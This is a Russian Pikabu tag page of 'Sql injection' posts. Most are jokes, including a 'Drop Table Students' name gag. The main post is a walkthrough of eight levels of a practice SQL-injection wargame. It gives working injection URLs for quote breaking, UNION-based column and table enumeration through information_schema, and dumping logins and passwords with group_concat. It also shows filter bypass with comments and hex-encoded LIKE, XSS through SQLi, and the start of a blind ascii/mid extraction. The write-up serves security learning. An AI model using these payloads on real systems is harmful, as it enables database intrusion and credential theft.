Горячее
Лучшее
Свежее
Подписки
Сообщества
Блоги
Эксперты
Войти
Забыли пароль?
или продолжите с
Создать аккаунт
Я хочу получать рассылки с лучшими постами за неделю
или
Восстановление пароля
Восстановление пароля
Получить код в Telegram
Войти с Яндекс ID Войти через VK ID
Создавая аккаунт, я соглашаюсь с правилами Пикабу и даю согласие на обработку персональных данных.
ПромокодыРаботаКурсыРекламаИгрыПополнение Steam

Топ прошлой недели

  • Oskanov Oskanov 8 постов
  • alekseyJHL alekseyJHL 6 постов
  • XpyMy XpyMy 1 пост
Посмотреть весь топ

Лучшие посты недели

Рассылка Пикабу: отправляем самые рейтинговые материалы за 7 дней 🔥

Нажимая кнопку «Подписаться на рассылку», я соглашаюсь с Правилами Пикабу и даю согласие на обработку персональных данных.

Спасибо, что подписались!
Пожалуйста, проверьте почту 😊

Новости Пикабу Помощь Кодекс Пикабу Реклама О компании
Команда Пикабу Награды Контакты О проекте Зал славы
Промокоды Скидки Работа Курсы Блоги
Купоны Biggeek Купоны AliExpress Купоны М.Видео Купоны YandexTravel Купоны Lamoda
Мобильное приложение

Sql injection

13 постов сначала свежее
244
an0nym
an0nym
8 лет назад
IT-юмор

Хорошая попытка, Алекс.⁠⁠

Хорошая попытка, Алекс.
IT Юмор SQL Sql injection
42
64
vybgrib
vybgrib
8 лет назад
IT-юмор

Да что ты знаешь об SQL-инъекциях...⁠⁠

Да что ты знаешь об SQL-инъекциях...
Sql injection Drop IT Юмор Сисадмин Айтишники Интернет
12
84
ZhopaPutina
ZhopaPutina
9 лет назад

Как работают SQL Инъекции⁠⁠

Как работают SQL Инъекции Программирование, SQL, Sql injection, Симпсоны, Профессиональный юмор, Длиннопост
Показать полностью 1
Программирование SQL Sql injection Симпсоны Профессиональный юмор Длиннопост
37
1
bykvaadm
10 лет назад

Мама папа я и микрокалькулятор часть 3⁠⁠

В этом выпуске поговорим немного о решении sql-инъекций. Не буду сюда писать одну из тысяч статей что такое sql-инъекция. Прочитать об этом можно например вот здесь: www.google.com
а про то как эксплуатировать - тут https://rdot.org/forum/showthread.php?t=124

Предыдущий выпуск не особо вообще кому-то понравился, в этом я сделаю акцент на решении практических примеров. На сайте alexbers.com/sql есть подборка скульных инъекций. Разберем, как это работает. Я специально не буду указывать «пароли» от следующих уровней и ссылки на эти уровни.

Пример 1: https://www.alexbers.com/sql/1.php

Это даже и не пример, требуется самому написать запрос, с заранее известными всеми таблицами, именем пользователя.

Дано:
Таблица: users
Поля: id,login,pass

Решение:
https://www.alexbers.com/sql/1.php?text=select * from users where id='12

Просто запрос со всеми данными, которые нам заведомо известны.

Пример 2: https://www.alexbers.com/sql/ZZZZZZZZZ2.php

Нам продемонстрирован запрос:
select * from users where id=2 or login='$text'

Дано:
Таблица: users
Поля: id,login,pass

В этом примере показана примитивная уязвимость: входные данные никак не фильтруются. Поэтому мы можем воспользоваться кавычкой:
https://www.alexbers.com/sql/ZZZZZZZZZZZ2.php?text=-1' or id='9

Что мы сделали? Мы привели запрос к такому виду:
select * from users where id=2 or login='-1' or id='9'

Мы пытаемся извлечь из таблицы users пользователя с id=2 или с login=1 или с id=9, которая взята кавычкой слева и будет закрыта кавычкой оригинального запроса
Поскольку пользователя «-1» не существует, мы из этого запроса ничего не получаем, зато id=9 существует. В результате получаем вывод из 2-х строк — пользователь с id=2 и с id=9.

Пример 3: https://www.alexbers.com/sql/ZZZZZZZ3.php

Опять виден запрос:
select * from users where id=2 or login='$text' limit 1

Дано:
Таблица: users
Поля: id,login,pass

Различие с предыдущим примером — ограничение на вывод в 1 строку. Уходит приплясывая при постановке комментария, который «уберет» конец строки, т.е. Он не будет обработан.

Решение:
https://www.alexbers.com/sql/ZZZZZZZ3.php?text=-1' or id='13 -- 123

Вид запроса:
select * from users where id=2 or login='-1 or id='13' --123' limit 1
Таким образом мы выкидываем ограничение и извлекаем пользователя с id=13

Пример 4: https://www.alexbers.com/sql/ZZZZZZ4.php

Запрос:
select * from users where id=2 or login='$text' limit 1

Дано:
Таблицы: users, secret
Поля: id,login,pass - это в users. В таблице secret - 3 поля

Чуток поинтересней. Теперь у нас 2 таблицы, и запрос выполняется не к той таблице, которая нам нужна. Воспользуемся классическим способом. В mysql существует оператор, который позволяет выполнять запрос к разным таблицам через 1 запрос. Для работы с объеденением запросов нам необходимо чтобы во всех объеденяемых запросах количество полей было одинаковым. Так как мы не можем повлиять на их количество в первом запросе, то нам нужно подобрать их количество во втором к первому. Сделать это можно несколькими способами, воспользуемся оператором union. Дело в том, что количество столбцов до UNION и после должны соответствовать, и, наверняка, вылезет ошибка
Запрос:
https://www.alexbers.com/sql/ZZZZZZ4.php?text=-1' union select 1,2 -- 123
Настоящий вид запроса:
select * from users where id=2 or login='-1' union select 1,2 -- 123' limit 1
Ответ сервера:
Could not query: The used SELECT statements have a different number of columns
Значит число отличается от того, которое реально в таблице users. Методом изменения перечисления столбцов приходим к выводу, что число столбцов — 3 штуки. (В этом случае ошибки не будет). Теперь у нас кое где в странице должны отобразится какие-нибудь из этих цифр. Теперь чтобы нам получить какую нибудь информацию нам нужно заменять эти цифры в обрщении к скрипту на нужные нам функции.

Кстати, тут также можно привести примитивный пример xss через sqli:
https://www.alexbers.com/sql/ZZZZZZ4.php?text=-1' union select 1,alert('XSS'),3 -- 123
Как уже заметили, цифры 1,2,3 выводятся на экран, а ведь это прямая запись кода в страничку. Воспользуемся этим и выведем алерт

Но наша цель — другое, вывести информацию из другой таблицы. О ней мы знаем только то, что в ней 3 поля и ее название. Чтобы извлечь какие-то поля, мы должны их знать. Сделать это можно несколькими способами, например, если у нас есть доступ к служебной таблице information schema. Таблица information_schema.columns хранит информацию об именах колонок. Извлечем информацию о всех колонках всех таблиц и отфильтруем ее только теми, которые принадлежат таблице secret:

https://www.alexbers.com/sql/ZZZZZZ4.php
?text=-1'+union+select+1,column_name,3+from+information_schema.columns where table_name='secret'--+123

Результат:
id
login
pass
2
qwer
rewq
1
f1
3
1
f2
3
1
ggg
3

Можно использовать более обширную и наглядную выборку:
https://www.alexbers.com/sql/ZZZZZZ4.php?text=-1'+union+select+1,concat_ws(0x3a,table_name,column_name),3+from+information_schema.columns where table_name='secret'+--+123


По задаче требуется найти данное секретной таблицы с полем ggg=abc. Извлечем данные колонок f1,f2:
https://www.alexbers.com/sql/ZZZZZZ4.php
?text=-1'+union+select+f1,f2,ggg+from+secret where ggg='abc'--+123

Один из результатов и будет ответом на уровень :)

Пример 5: https://www.alexbers.com/sql/ZZZZZZZ5.php

Запрос:
select * from users where id=2 or login='$text' limit 1

Дано:
Таблицы: users, secret
Поля: id,login,pass - это в users. В таблице secret - 2 поля

Попробуем повторить предыдущий пример. Узнаем сколько колонок в таблице users, извлечем список всех колонок для секретной таблицы.

https://www.alexbers.com/sql/ZZZZZZZ5.php?text=1' union+select+1,concat_ws(0x3a,table_name,column_name),3+from+information_schema.columns where table_name='secret'--+123

Видим, что у нас в таблице secret – находится 2 колонки, извлечем их значения:
https://www.alexbers.com/sql/ZZZZZZZ5.php?text=-1' union select 1,dfgdfgfdg,dfgfddfgdfdfdf from secret-- 123

Видим ответ =)

Пример 6: https://www.alexbers.com/sql/ZZZZZ6.php

Запрос:
select * from users where id=$text limit 1

Дано:
Таблицы: users
Поля: id,login,pass - это в users.
Фильтруются кавычки, выводится только 1 строка из БД

Здесь видно «непонимание принципов работы фильтра mysq_real_escape”, когда значение переменной id не помещено в кавычки. Тогда, хоть они и 50 раз фильтруются, они нам и не нужны. Выборка проста до невозможности:

https://www.alexbers.com/sql/ZZZZZ6.php?text=-1 or login=CHAR(103, 111, 100)

Допустим, что нам слишком много известно из «дано» (Это отступление, не имеющее отношение к примеру). Обычно приходится подбирать все вручную и здесь нас пытается обломать «выводится только 1 строка из БД». В таких случаях можно использовать объединение результата запроса в 1 строку:

https://www.alexbers.com/sql/ZZZZZ6.php?text=-1 union select 1,2,group_concat(concat_ws(0x3a,id,login,pass)) from users where id>27
Для перемещения по такой выборке можно использовать либо id, либо строку (часть вывода) которую в частном примере нужно будет пропустить через char(). (спасибо rdot.org)

Пример 7: https://www.alexbers.com/sql/ZZZZ7.php

Дано:
Таблицы: users
Поля: id,login,pass - это в users.Теперь всегда выводится только первая строка ответа(остальные не выводятся) Фильтруются символы ',",+,=,запятая,пробел,скобки

Запрос:
select * from users where id=$text limit 1

Поскольку выборка идет сразу по нужной нам таблице, то даже не придется использовать второй запрос. Пробелы заменяются на комментарии (// и /*!*/), остается только одна проблема — фильтруется знак равенства. Но его можно обойти используя оператор like. Этот оператор можно использовать сравнивая напрямую со строкой, но тогда придется использовать кавычки, либо без кавычек и требуется перекодировать строку в hex. Также, нам доподлинно неизвестен ник который мы ищем, поэтому будем использовать поиск по маске, со значком % в логине. Итоговый вектор атаки примет вид:

https://www.alexbers.com/sql/ZZZZ7.php?text=-1/*!or/*!login*/like/
/0x2567656e746f6f25

Пример 8: https://www.alexbers.com/sql/ZZZZZ8.php

Запрос:
select * from users where id=$text

Дано:
Таблицы: users
Поля: id,login,pass - это в users.
Подсказка: сообщения от ошибках не выведутся

Единственное, что нам навообще что-то выводится - информация о том, что произошла какая-то ошибка, или количество выведенных записей. Количество выводимых записей — единственное число которым мы можем управлять. От нас требуется получить пароль от пользователя. Пароль — это некоторая информация, записываемая в числово-буквенном виде. Все чем мы можем оперировать — цифры. Значит пароль надо представить в численном виде. Если взять и перевести каждый символ в ascii – вид, то любой символ из пароля будет в виде числа. Для отделения символа воспользуемся функцией mid(), для перевода в ascii – функция ascii(), вектор атаки получится вот таким:

https://www.alexbers.com/sql/ZZZZZ8.php?text=-1 or id
Показать полностью
[моё] Sql injection Sqli Alexbers Rdot Текст Длиннопост
11
6
qvovert169
qvovert169
10 лет назад

Василий');Drop Table Students;--⁠⁠

В честь http://pikabu.ru/story/_2518198
Василий');Drop Table Students;-- В честь <a href="http://pikabu.ru/story/o_nedavnem_vzlome_pikabu_2518198">http://pikabu.ru/story/_2518198</a>
Имена Sql injection База данных
5
Посты не найдены
О Нас
О Пикабу
Контакты
Реклама
Сообщить об ошибке
Сообщить о нарушении законодательства
Отзывы и предложения
Новости Пикабу
RSS
Информация
Помощь
Кодекс Пикабу
Награды
Команда Пикабу
Бан-лист
Конфиденциальность
Правила соцсети
О рекомендациях
Наши проекты
Блоги
Работа
Промокоды
Игры
Скидки
Курсы
Зал славы
Mobile
Мобильное приложение
Партнёры
Промокоды Biggeek
Промокоды Маркет Деливери
Промокоды Яндекс Путешествия
Промокоды М.Видео
Промокоды в Ленте Онлайн
Промокоды Тефаль
Промокоды Сбермаркет
Промокоды Спортмастер
Постила
Футбол сегодня
На информационном ресурсе Pikabu.ru применяются рекомендательные технологии